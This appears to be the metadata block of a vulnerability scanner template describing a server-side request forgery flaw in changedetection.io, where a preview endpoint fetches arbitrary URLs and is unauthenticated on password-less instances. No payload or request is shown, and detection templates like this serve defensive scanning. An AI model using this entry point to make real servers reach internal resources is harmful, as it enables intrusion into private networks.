info:
  name: "changedetection.io - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: high
  description: |
    changedetection.io (up to 50389b07, fixed in 0.60.1) lets the add-watch-ui snapshot/preview
    endpoint fetch an arbitrary user-supplied url. On instances without a configured password this
    is reachable unauthenticated, letting a remote attacker make the server request internal
    resources (SSRF).
